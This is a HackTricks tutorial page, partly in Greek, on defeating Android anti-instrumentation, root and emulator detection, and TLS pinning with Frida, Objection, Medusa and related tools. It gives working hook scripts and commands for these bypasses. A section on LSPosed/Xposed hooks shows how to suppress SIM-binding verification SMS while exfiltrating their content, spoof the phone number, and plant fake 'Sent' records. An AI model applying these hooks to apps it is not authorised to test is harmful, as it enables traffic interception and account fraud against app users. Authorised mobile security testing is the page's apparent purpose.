Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.

Detection Surface (what apps check)

  • Root checks: su binary, Magisk paths, getprop values, common root packages
  • Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
  • Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
  • Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
  • TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins

Bypassing Anti-Frida Detection / Stealth Frida Servers

phantom-frida rebuilds Frida from source and applies ~90 patches so common Frida fingerprints disappear while the stock Frida protocol remains compatible (frida-tools can still connect). Target: apps that grep /proc (cmdline, maps, task comm, fd readlink), D-Bus service names, default ports, or exported symbols.

Phases:

  • Source patches: global rename of frida identifiers (server/agent/helper) and rebuilt helper DEX with a renamed Java package.
  • Targeted build/runtime patches: meson tweaks, memfd label changed to jit-cache, SELinux labels (e.g., frida_file) renamed, libc hooks on exit/signal disabled to avoid hook-detectors.
  • Post-build rename: exported symbol frida_agent_main renamed after the first compile (Vala emits it), requiring a second incremental build.
  • Binary hex patches: thread names (gmain, gdbus, pool-spawner) replaced; optional sweep removes leftover frida/Frida strings.

Detection vectors covered:

  • Base (1–8): process name frida-server, mapped libfrida-agent.so, thread names, memfd label, exported frida_agent_main, SELinux labels, libc hook side-effects, and D-Bus service re.frida.server are renamed/neutralized.
  • Extended (9–16): change listening port (--port), rename D-Bus interfaces/internal C symbols/GType names, temp paths like .frida/frida-, sweep binary strings, rename build-time defines and asset paths (libdir/frida). D-Bus interface names that are part of the wire protocol stay unchanged in base mode to avoid breaking stock clients.

Build/usage (Android arm64 example):

python3 build.py --version 17.7.2 --name myserver --port 27142 --extended --verify
adb push output/myserver-server-17.7.2-android-arm64 /data/local/tmp/myserver-server
adb shell chmod 755 /data/local/tmp/myserver-server
adb shell /data/local/tmp/myserver-server -D &
adb forward tcp:27142 tcp:27142
frida -H 127.0.0.1:27142 -f com.example.app

Παράμετροι: --skip-build (patch only), --skip-clone, --arch, --ndk-path, --temp-fixes; Βοηθητικό WSL: wsl -d Ubuntu bash build-wsl.sh.

Βήμα 1 — Γρήγορο κέρδος: κρύψτε root με Magisk DenyList

  • Ενεργοποιήστε το Zygisk στο Magisk
  • Ενεργοποιήστε το DenyList, προσθέστε το πακέτο-στόχο
  • Επανεκκινήστε και δοκιμάστε ξανά

Πολλές εφαρμογές κοιτάνε μόνο για προφανή σημάδια (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει απλοϊκούς ελέγχους.

References:

  • Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk

Play Integrity / Zygisk detections (post‑SafetyNet)

Οι νεότερες banking/ID εφαρμογές συνδέουν τους runtime ελέγχους με Google Play Integrity (αντικαταστάτης του SafetyNet) και μπορεί επίσης να καταρρεύσουν αν το Zygisk είναι παρόν. Σύντομες συμβουλές για γρήγορη διαλογή:

  • Απενεργοποιήστε προσωρινά το Zygisk (toggle off + reboot) και δοκιμάστε ξανά — κάποιες εφαρμογές κρασάρουν μόλις φορτωθεί το Zygote injection.
  • Αν η attestation μπλοκάρει το login, εφαρμόστε patch στο Google Play Services με PlayIntegrityFix/Fork + TrickyStore ή χρησιμοποιήστε ReZygisk/Zygisk‑Next μόνο κατά τη δοκιμή. Κρατήστε τον στόχο στο DenyList και αποφύγετε LSPosed modules που leak props.
  • Για μονές εκτελέσεις, χρησιμοποιήστε KernelSU/APatch (χωρίς Zygote injection) για να μείνετε κάτω από τα heuristics του Zygisk, και μετά προσαρτήστε Frida.

Βήμα 2 — Δοκιμές 30‑δευτερολέπτων με Frida Codeshare

Δοκιμάστε κοινά drop‑in scripts πριν εμβαθύνετε:

  • anti-root-bypass.js
  • anti-frida-detection.js
  • hide_frida_gum.js

Παράδειγμα:

frida -U -f com.example.app -l anti-frida-detection.js

Συνήθως παρέχουν stub για τους Java root/debug checks, process/service scans και το native ptrace(). Χρήσιμα σε εφαρμογές με ελαφριά προστασία· οι hardened targets ενδέχεται να χρειάζονται προσαρμοσμένα hooks.

  • Codeshare: https://codeshare.frida.re/

Αυτοματοποιήστε με Medusa (Frida framework)

Το Medusa παρέχει 90+ έτοιμα modules για SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, και άλλα.

git clone https://github.com/Ch0pin/medusa
cd medusa
pip install -r requirements.txt
python medusa.py

# Example interactive workflow
show categories
use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app

Συμβουλή: Η Medusa είναι εξαιρετική για γρήγορες νίκες πριν γράψετε custom hooks. Μπορείτε επίσης να επιλέξετε μεμονωμένα modules και να τα συνδυάσετε με τα δικά σας scripts.

Αυτοματοποιήστε με Auto-Frida (spawn-mode + consolidated hooks)

Το Auto-Frida είναι μια εργαλειοθήκη αυτοματοποίησης Frida που εστιάζει στην επαναλήψιμη ρύθμιση καθώς και στον αυτόματο εντοπισμό των προστασιών και στην ενοποιημένη bypass script generation. Είναι χρήσιμη όταν οι εφαρμογές εκτελούν ελέγχους πολύ νωρίς ή όταν πολλαπλά bypass modules διαφορετικά θα double-hook τα ίδια APIs.

Κύριες ιδέες αυτοματοποίησης:

  • Spawn-mode analysis για να εγκαταστήσετε hooks πριν το Application.onCreate() ώστε οι πρώιμοι έλεγχοι όπως SSL pinning, root, emulator ή anti-Frida να εντοπίζονται.
  • Ανίχνευση προστασίας + auto-bypass: τα αποτελέσματα της ανίχνευσης καθοδηγούν τη δημιουργία ενός ενιαίου ενοποιημένου script που κάνει hook κάθε Java method/native symbol μία φορά, μειώνοντας τις καταρρεύσεις από επικαλυπτόμενα hooks.
  • Frida server lifecycle checks: επικυρώστε την υγεία του server (process + port 27042 + frida-ps handshake) πριν τη λήψη/επανεκκίνηση για να διατηρείτε τις εκτελέσεις σταθερές.

Γρήγορη εκκίνηση:

git clone https://github.com/ommirkute/Auto-Frida.git
cd Auto-Frida
pip install -r requirements.txt
python auto_frida.py

Σημειώσεις

  • Auto-Frida μπορεί να εγκαταστήσει αυτόματα frida/frida-tools αν λείπουν και υποστηρίζει επιλογή πολλαπλών συσκευών.
  • Τα scripts που παράγονται μπορούν να εκτελεστούν άμεσα ή να συγχωνευθούν με τα custom hooks σας μετά την ανάλυση.

Βήμα 3 — Παράκαμψη ανιχνευτών εκκίνησης με προσάρτηση αργότερα

Πολλές ανιχνεύσεις εκτελούνται μόνο κατά τη διαδικασία spawn/onCreate(). Το Spawn‑time injection (-f) ή τα gadgets εντοπίζονται· η προσάρτηση μετά τη φόρτωση του UI μπορεί να περάσει απαρατήρητη.

# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore  # if using gadget

Αν αυτό λειτουργήσει, κρατήστε τη συνεδρία σταθερή και προχωρήστε στους ελέγχους map και stub.

Step 4 — Χαρτογραφήστε τη λογική ανίχνευσης μέσω Jadx και ανίχνευσης συμβολοσειρών

Στατικές λέξεις-κλειδιά triage στο Jadx:

  • “frida”, “gum”, “root”, “magisk”, “ptrace”, “su”, “getprop”, “debugger”

Τυπικά μοτίβα Java:

public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}

Συνήθη APIs για review/hook:

  • android.os.Debug.isDebuggerConnected
  • android.app.ActivityManager.getRunningAppProcesses / getRunningServices
  • java.lang.System.loadLibrary / System.load (native bridge)
  • java.lang.Runtime.exec / ProcessBuilder (probing commands)
  • android.os.SystemProperties.get (root/emulator heuristics)

Βήμα 5 — Runtime stubbing with Frida (Java)

Παρακάμψτε custom guards ώστε να επιστρέφουν ασφαλείς τιμές χωρίς repacking:

Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
Checks.isFridaDetected.implementation = function () { return false; };

// Neutralize debugger checks
const Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function () { return false; };

// Example: kill ActivityManager scans
const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});

Διερευνάς πρώιμα crashes; Dump classes λίγο πριν πεθάνει για να εντοπίσεις πιθανές detection namespaces:

Java.perform(() => {
Java.enumerateLoadedClasses({
onMatch: n => console.log(n),
onComplete: () => console.log('Done')
});
});

Γρήγορο παράδειγμα stub για root detection (προσαρμόστε στα ονόματα πακέτου/κλάσης του στόχου):

Java.perform(() => {
try {
const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});

Καταγράψτε και αδρανοποιήστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:

Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
Det.checkFrida.implementation = function () {
console.log('checkFrida() called');
return false;
};
});

Bypass emulator/VM detection (Java stubs)

Συνηθισμένες ευρετικές: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE που περιέχουν generic/goldfish/ranchu/sdk; QEMU artifacts όπως /dev/qemu_pipe, /dev/socket/qemud; προεπιλεγμένο MAC 02:00:00:00:00:00; 10.0.2.x NAT; έλλειψη telephony/sensors.

Γρήγορο spoof των πεδίων Build:

Java.perform(function(){
var Build = Java.use('android.os.Build');
Build.MODEL.value = 'Pixel 7 Pro';
Build.MANUFACTURER.value = 'Google';
Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});

Συμπληρώστε με stubs για ελέγχους ύπαρξης αρχείων και για αναγνωριστικά (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) ώστε να επιστρέφουν ρεαλιστικές τιμές.

SSL pinning bypass quick hook (Java)

Αδρανοποιήστε προσαρμοσμένους TrustManagers και εξαναγκάστε permissive SSL contexts:

Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');

// No-op validations
X509TrustManager.checkClientTrusted.implementation = function(){ };
X509TrustManager.checkServerTrusted.implementation = function(){ };

// Force permissive TrustManagers
var TrustManagers = [ X509TrustManager.$new() ];
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
SSLContextInit.implementation = function(km, tm, sr){
return SSLContextInit.call(this, km, TrustManagers, sr);
};
});

Σημειώσεις

  • Επεκτείνετε για OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier as needed, or use a universal unpinning script from CodeShare.
  • Παράδειγμα εκτέλεσης: frida -U -f com.target.app -l ssl-bypass.js --no-pause

OkHttp4 / gRPC / Cronet pinning (2024+)

Οι σύγχρονες στοίβες pin μέσα σε νεότερα APIs (OkHttp4+, gRPC over Cronet/BoringSSL). Προσθέστε αυτά τα hooks όταν το βασικό SSLContext hook κολλάει:

Java.perform(() => {
try {
const Pinner = Java.use('okhttp3.CertificatePinner');
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function(){};
Pinner.check$okhttp.implementation = function(){};
} catch (e) {}

try {
const CronetB = Java.use('org.chromium.net.CronetEngine$Builder');
CronetB.enablePublicKeyPinningBypassForLocalTrustAnchors.overload('boolean').implementation = function(){ return this; };
CronetB.setPublicKeyPins.overload('java.lang.String', 'java.util.Set', 'boolean').implementation = function(){ return this; };
} catch (e) {}
});

Εάν το TLS εξακολουθεί να αποτυγχάνει, περάστε στο native και patch τα σημεία εισόδου επαλήθευσης του BoringSSL που χρησιμοποιούνται από Cronet/gRPC:

const customVerify = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
if (customVerify) {
Interceptor.attach(customVerify, {
onEnter(args){
// arg0 = SSL_CTX*, arg1 = mode, arg2 = callback
args[1] = ptr(0); // SSL_VERIFY_NONE
args[2] = NULL;  // disable callback
}
});
}

Step 6 — Ακολούθησε την JNI/native διαδρομή όταν τα Java hooks αποτύχουν

Ανίχνευσε τα σημεία εισόδου JNI για να εντοπίσεις native loaders και detection init:

frida-trace -n com.example.app -i "JNI_OnLoad"

Γρήγορος εγγενής έλεγχος των συσκευασμένων αρχείων .so:

# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'

Διαδραστική/native reversing:

  • Ghidra: https://ghidra-sre.org/
  • r2frida: https://github.com/nowsecure/r2frida

Παράδειγμα: απενεργοποιήστε ptrace για να παρακάμψετε το απλό anti‑debug στο libc:

const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function () {
return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}

Δείτε επίσης: Reversing Native Libraries

Βήμα 7 — Objection patching (embed gadget / strip basics)

Όταν προτιμάτε repacking αντί για runtime hooks, δοκιμάστε:

objection patchapk --source app.apk

Σημειώσεις:

  • Απαιτεί apktool· βεβαιωθείτε ότι έχετε τρέχουσα έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα στο build: https://apktool.org/docs/install
  • Το Gadget injection επιτρέπει instrumentation χωρίς root αλλά μπορεί ακόμα να ανιχνευθεί από πιο ισχυρούς init‑time checks.

Προαιρετικά, προσθέστε LSPosed modules και Shamiko για πιο αποτελεσματική απόκρυψη του root σε περιβάλλοντα Zygisk, και επιμεληθείτε τη DenyList ώστε να καλύπτει child processes.

Για πλήρη ροή εργασίας που περιλαμβάνει script-mode Gadget configuration και bundling του Frida 17+ agent μέσα στο APK, δείτε:

Frida Tutorial — Self-contained agent + Gadget embedding

Αναφορές:

  • Objection: https://github.com/sensepost/objection

Step 8 — Fallback: Patch TLS pinning for network visibility

Εάν instrumentation μπλοκαριστεί, μπορείτε ακόμα να ελέγξετε την κίνηση αφαιρώντας το pinning στατικά:

apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
  • Tool: https://github.com/shroudedcode/apk-mitm
  • Για κόλπα ρύθμισης δικτύου CA‑trust (και Android 7+ user CA trust), δείτε:

Make APK Accept CA Certificate

Install Burp Certificate

LSPosed/Xposed Κατάχρηση Hooking (Telephony/SMS)

Σε rooted συσκευές, τα modules LSPosed/Xposed μπορούν να hook-άρουν τα Java telephony/SMS APIs σε runtime, διατηρώντας το APK αμετάβλητο στο δίσκο ενώ έχουν πλήρη έλεγχο του τι βλέπει η εφαρμογή. Αυτό συχνά καταχράται για να παρακαμφθούν SIM‑binding ροές που εμπιστεύονται τοπικά telephony APIs ή την κατάσταση του τοπικού SMS provider.

Key primitives

  • Suppress outgoing verification SMS ενώ εξάγεται το token με το να παρακάμπτεται (short‑circuit) η κλήση SmsManager.sendTextMessage στο beforeHookedMethod.
  • Spoof MSISDN/line number αναγκάζοντας τις TelephonyManager.getLine1Number() και SubscriptionInfo.getNumber() να επιστρέψουν μια τιμή ελεγχόμενη από τον attacker.
  • Plant a fake “Sent” record στον SMS provider ώστε οι εφαρμογές που ελέγχουν το τοπικό ιστορικό SMS να βλέπουν επιτυχημένη αποστολή ακόμα κι αν ο carrier δεν την έλαβε ποτέ.

Example: block SMS dispatch and capture content

XposedHelpers.findAndHookMethod(
"android.telephony.SmsManager",
lpparam.classLoader,
"sendTextMessage",
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
new XC_MethodHook() {
protected void beforeHookedMethod(MethodHookParam param) {
String body = (String) param.args[2];
// exfiltrate body to operator channel
param.setResult(null); // suppress real SMS send
}
}
);

Παράδειγμα: spoof device phone number

XposedHelpers.findAndHookMethod(
"android.telephony.TelephonyManager",
lpparam.classLoader,
"getLine1Number",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
XposedHelpers.findAndHookMethod(
"android.telephony.SubscriptionInfo",
lpparam.classLoader,
"getNumber",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);

Παράδειγμα: εισαγωγή ψεύτικης εγγραφής SMS “Sent”

ContentValues v = new ContentValues();
v.put("address", dest);
v.put("body", body);
v.put("type", 2);   // sent
v.put("status", 0); // success
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);

Χρήσιμη σύνοψη εντολών

# List processes and attach
frida-ps -Uai
frida -U -n com.example.app

# Spawn with a script (may trigger detectors)
frida -U -f com.example.app -l anti-frida-detection.js

# Trace native init
frida-trace -n com.example.app -i "JNI_OnLoad"

# Objection runtime
objection --gadget com.example.app explore

# Static TLS pinning removal
apk-mitm app.apk

Universal proxy forcing + TLS unpinning (HTTP Toolkit Frida hooks)

Οι σύγχρονες εφαρμογές συχνά αγνοούν τα system proxies και επιβάλλουν πολλαπλά επίπεδα pinning (Java + native), καθιστώντας την καταγραφή της κίνησης επώδυνη ακόμα και με εγκατεστημένα user/system CAs. Μια πρακτική προσέγγιση είναι ο συνδυασμός universal TLS unpinning με proxy forcing μέσω έτοιμων Frida hooks, και η δρομολόγηση όλων μέσω mitmproxy/Burp.

Workflow

  • Run mitmproxy on your host (or Burp). Ensure the device can reach the host IP/port.
  • Φορτώστε τα συγκεντρωμένα Frida hooks του HTTP Toolkit για να unpin TLS και να επιβάλετε τη χρήση proxy σε κοινά stacks (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, κ.λπ.). Αυτό παρακάμπτει τους ελέγχους CertificatePinner/TrustManager και αντικαθιστά τους proxy selectors, έτσι ώστε η κίνηση να στέλνεται πάντα μέσω του proxy σας ακόμα κι αν η εφαρμογή απενεργοποιεί ρητά τους proxies.
  • Ξεκινήστε την στοχευμένη εφαρμογή με Frida και το hook script, και καταγράψτε τα requests στο mitmproxy.

Example

# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause

# mitmproxy listening locally
mitmproxy -p 8080

Σημειώσεις

  • Συνδυάστε το με proxy σε επίπεδο συστήματος μέσω adb shell settings put global http_proxy <host>:<port> όταν είναι δυνατόν. Οι Frida hooks θα επιβάλουν τη χρήση proxy ακόμη και όταν οι εφαρμογές παρακάμπτουν τις global ρυθμίσεις.
  • Αυτή η τεχνική είναι ιδανική όταν χρειάζεται να κάνετε MITM ροές onboarding από mobile προς IoT, όπου το pinning/η αποφυγή proxy είναι συχνή.
  • Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning

Αναφορές

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks